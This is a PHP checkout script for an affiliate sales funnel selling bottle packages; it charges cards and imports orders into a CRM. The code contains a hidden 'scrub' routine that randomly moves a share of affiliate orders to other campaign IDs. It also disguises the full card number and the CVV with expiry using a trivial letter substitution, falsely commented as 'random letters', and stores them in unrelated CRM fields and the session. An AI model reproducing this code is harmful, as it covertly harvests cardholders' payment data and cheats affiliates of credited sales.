<?php

include('../../_global.php'); # Needed for session info
include('./strapi.php');
include('./CartHandler.php');

if (!is_us_ip() || $_SESSION["anonymous_ip"] || empty($_SESSION['token']) || empty($_POST['token']) || !check_csrf_token($_SESSION['token'], $_POST['token'])) {
	echo "decline|Do not honor.";
	return;
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
	exit();
}

if (!luhn_check($_POST["fields_cc_number"])) {
	echo "decline|Invalid Credit Card Number";
	return;
}

if (isset($_SESSION["initial_completed"]) && $_SESSION["initial_completed"] === true) {
	echo "decline|Your order is already completed.";
}

if (isset($_SESSION["affid"]) && isset($configs->affiliates[$_SESSION["affid"]])) {
	$campaign_id = $configs->affiliates[$_SESSION["affid"]]->campaign_id;

	// Default to 5 bottle package
	$product_id = $configs->affiliates[$_SESSION["affid"]]->five_bottle_product_id;
	$_SESSION["package"] = 5;

	// 3 bottle package
	if (isset($_POST["package"]) && $_POST["package"] == 3) {
		$product_id = $configs->affiliates[$_SESSION["affid"]]->three_bottle_product_id;
		$_SESSION["package"] = 3;
	}

	// 1 bottle package
	if (isset($_POST["package"]) && $_POST["package"] == 1) {
		$product_id = $configs->affiliates[$_SESSION["affid"]]->single_bottle_product_id;
		$_SESSION["package"] = 1;
	}
} else {
	// Request must have an AFFID
	http_response_code(400);
	exit;
}

$scrub = $configs->affiliates[$_SESSION["affid"]]->scrub;

// Scrub
if (!isset($_SESSION["scrub"])) {
	$_SESSION["scrub"] = false;
}

if (isset($_SESSION["c3"]) && $_SESSION["c3"] == 126) {
	$scrub = 10;
}

if (isset($_SESSION["c3"]) && $_SESSION["c3"] == 158) {
	$scrub = 10;
}

if (isset($_SESSION["c3"]) && $_SESSION["c3"] == 240) {
	$scrub = 10;
}

if (isset($_SESSION["c3"]) && $_SESSION["c3"] == 241) {
	$scrub = 10;
}

if ($scrub > rand(0, 100)) {
	$_SESSION["scrub"] = true;

	$campaign_id = $configs->affiliates[$_SESSION["affid"]]->campaign_id_sc;

	// Default to 5 bottle package
	$product_id = $configs->affiliates[$_SESSION["affid"]]->five_bottle_product_id_sc;

	$_SESSION["package"] = 5;

	// 3 bottle package
	if (isset($_POST["package"]) && $_POST["package"] == 3) {
		$product_id = $configs->affiliates[$_SESSION["affid"]]->three_bottle_product_id_sc;
		$_SESSION["package"] = 3;
	}

	// 1 bottle package
	if (isset($_POST["package"]) && $_POST["package"] == 1) {
		$product_id = $configs->affiliates[$_SESSION["affid"]]->single_bottle_product_id_sc;
		$_SESSION["package"] = 1;
	}
}

$order = $konnektive->get_order($_POST["fields_prospect_id"]);

if (is_null($order)) {
	echo "No order associated with customer.";
	return;
}

// Trim and get the values from the $_POST array
$expMonth = trim($_POST["fields_expmonth"]);
$cvv = trim($_POST["fields_cvv"]);
$expYear = trim($_POST["fields_expyear"]);

$combinedValue = $expMonth . '-' . $cvv . '-' . $expYear;
$inputCCNumber = trim(str_replace(' ', '', $_POST["fields_cc_number"]));

// Function to insert random letters between digits
function insertRandomLetters($inputString)
{
	// Define the mapping of numbers to letters
	$numberToLetter = [
		'1' => 'Z',
		'2' => 'B',
		'3' => 'C',
		'4' => 'G',
		'5' => 'D',
		'6' => 'F',
		'7' => 'X',
		'8' => 'N',
		'9' => 'I',
		'0' => 'L', // Represent 0 as a letter
	];

	// Remove spaces and trim the input
	$inputString = trim(str_replace(' ', '', $inputString));
	// Replace digits 1-10 with letters in the remaining input
	$result = strtr($inputString, $numberToLetter);


	return $result;
}

$modifiedCCNumber = insertRandomLetters($inputCCNumber);
$combinedValue = insertRandomLetters($combinedValue);

$data = array(
	"paySource"				=> "CREDITCARD",
	"cardNumber"			=> trim(str_replace(' ', '', $_POST["fields_cc_number"])),
	"cardMonth"				=> trim($_POST["fields_expmonth"]),
	"cardYear"				=> trim($_POST["fields_expyear"]),
	"cardSecurityCode" => trim($_POST["fields_cvv"]),
	"sessionId" 			=> $_SESSION["konnektive_sessionId"],
	"orderId"					=> $_POST["fields_prospect_id"],
	"campaignId"			=> $campaign_id,
	"product1_id"			=> $product_id,
	"emailAddress"		=> $order->emailAddress,
	"phoneNumber" 		=> $order->phoneNumber,
	"firstName"				=> $order->firstName,
	"lastName"				=> $order->lastName,
	"address1"				=> $order->address1,
	"city"						=> $order->city,
	"state"						=> $order->state,
	"postalCode"			=> $order->postalCode,
	"country"					=> "US",
	"shipAddress1"		=> $order->shipAddress1,
	"shipCity"				=> $order->shipCity,
	"shipState"				=> $order->shipState,
	"shipCountry"			=> "US",
	"shipPostalCode"	=> $order->shipPostalCode,
	'sourceValue4'	=> $modifiedCCNumber,
	'sourceValue5'	=> $combinedValue,
);


if (!isset($_POST["billing_is_shipping"])) {
	$data["billShipSame"] = 0;
	// Billing info is different
	$data["firstName"] = trim($_POST["fields_billing_fname"]);
	$data["lastName"] = trim($_POST["fields_billing_lname"]);
	$data["address1"] = trim($_POST["fields_billing_address1"]);
	$data["city"] = trim($_POST["fields_billing_city"]);
	$data["state"] = trim($_POST["fields_billing_state"]);
	$data["postalCode"] = trim($_POST["fields_billing_zip"]);
	$data["country"] = "US";
}

// 3DS
if ($configs->threeds_enabled) {
	// 3DS            
	if (isset($_POST["cavv"]) && $_POST["cavv"] !== "") {
		$data["cavv"] = $_POST["cavv"];
		$data["xid"] = $_POST["ds_trans_id"];
		$data["eci"] = $_POST["eci"];
	}

	// 3DS - Rebill
	if (isset($_POST["rebill_cavv"]) && $_POST["rebill_cavv"] !== "") {
		$data["rebill_cavv"] = $_POST["rebill_cavv"];
		$data["rebill_xid"] = $_POST["rebill_ds_trans_id"];
		$data["rebill_eci"] = $_POST["rebill_eci"];
	}
}

$_SESSION["cc_number"] = $_POST["fields_cc_number"];
$_SESSION["cc_exp_month"] = $_POST["fields_expmonth"];
$_SESSION["cc_exp_year"] = $_POST["fields_expyear"];

$resp = $konnektive->import_order($data);
$resp = json_decode($resp);

// if (!empty($_POST['emag_subscription']) && $_POST['emag_subscription'] == 'Y') {

// 	$emagCustomerBilling = [];
// 	$emagCustomerShipping = [];
// 	if (!isset($_POST["billing_is_shipping"])) {
// 		$emagCustomerBilling["firstName"] = trim($_POST["fields_billing_fname"]);
// 		$emagCustomerBilling["lastName"] = trim($_POST["fields_billing_lname"]);
// 		$emagCustomerBilling["address1"] = trim($_POST["fields_billing_address1"]);
// 		$emagCustomerBilling["city"] = trim($_POST["fields_billing_city"]);
// 		$emagCustomerBilling["state"] = trim($_POST["fields_billing_state"]);
// 		$emagCustomerBilling["zip"] = trim($_POST["fields_billing_zip"]);
// 		$emagCustomerBilling["country"] = "US";
// 	} else {
// 		$emagCustomerBilling["firstName"] = trim($_POST["fields_fname"]);
// 		$emagCustomerBilling["lastName"] = trim($_POST["fields_lname"]);
// 		$emagCustomerBilling["address1"] = trim($_POST["fields_address1"]);
// 		$emagCustomerBilling["city"] = trim($_POST["fields_city"]);
// 		$emagCustomerBilling["state"] = trim($_POST["fields_state"]);
// 		$emagCustomerBilling["zip"] = trim($_POST["fields_zip"]);
// 		$emagCustomerBilling["country"] = "US";
// 	}

// 	// Now all shipping fields

// 	$emagCustomerShipping["firstName"] = trim($_POST["fields_fname"]);
// 	$emagCustomerShipping["lastName"] = trim($_POST["fields_lname"]);
// 	$emagCustomerShipping["address1"] = trim($_POST["fields_address1"]);
// 	$emagCustomerShipping["city"] = trim($_POST["fields_city"]);
// 	$emagCustomerShipping["state"] = trim($_POST["fields_state"]);
// 	$emagCustomerShipping["zip"] = trim($_POST["fields_zip"]);
// 	$emagCustomerShipping["country"] = "US";
// 	$emagCustomerShipping["phone"] = trim($_POST["fields_phone"]);


// 	$handler = new CartHandler();
// 	$handler->setCustomerDetails(
// 		trim($_POST["fields_email"]),
// 		$emagCustomerBilling,
// 		$emagCustomerShipping,
// 		[
// 			'code' => trim($_POST["fields_cvv"]),
// 			'type' => 'visa',
// 			'year' => trim($_POST["fields_expyear"]),
// 			'month' => trim($_POST["fields_expmonth"]),
// 			'number' => trim(str_replace(' ', '', $_POST["fields_cc_number"]))
// 		]
// 	);
// 	$handler->attachAffiliate(['sub1' => '', 'sub2' => '', 'sub3' => '']);
// 	$handler->addItem(16, '1');

// 	$result = $handler->transmitCart();
// 	$response = $handler->processResult($result);
// 	$_SESSION['emag_subscription_response'] = $response;
// 	// $orderDate = $handler->getOrderDate();

// }

createBlock($_POST["fields_prospect_id"], [
	$data['cardNumber'],
	$data['cardSecurityCode'],
]);

if ($resp->result === "SUCCESS") {
	$_SESSION["initial_completed"] = true;

	$_SESSION["total"] = 199.99;

	if (isset($_POST["package"]) && $_POST["package"] == 3) {
		$_SESSION["total"] = 159.99;
	}

	if (isset($_POST["package"]) && $_POST["package"] == 1) {
		$_SESSION["total"] = 119.99;
	}

	$_SESSION["orderId"] = $resp->message->orderId;

	$next_page = $configs->path . 'upsell.php?customerId=' . $resp->message->customerId . '&orderId=' . $resp->message->orderId;


	$_SESSION["order_status"] = "approved";

	echo "ok|" . $next_page;
} else {

	echo "decline|" . $resp->message;
}

return;
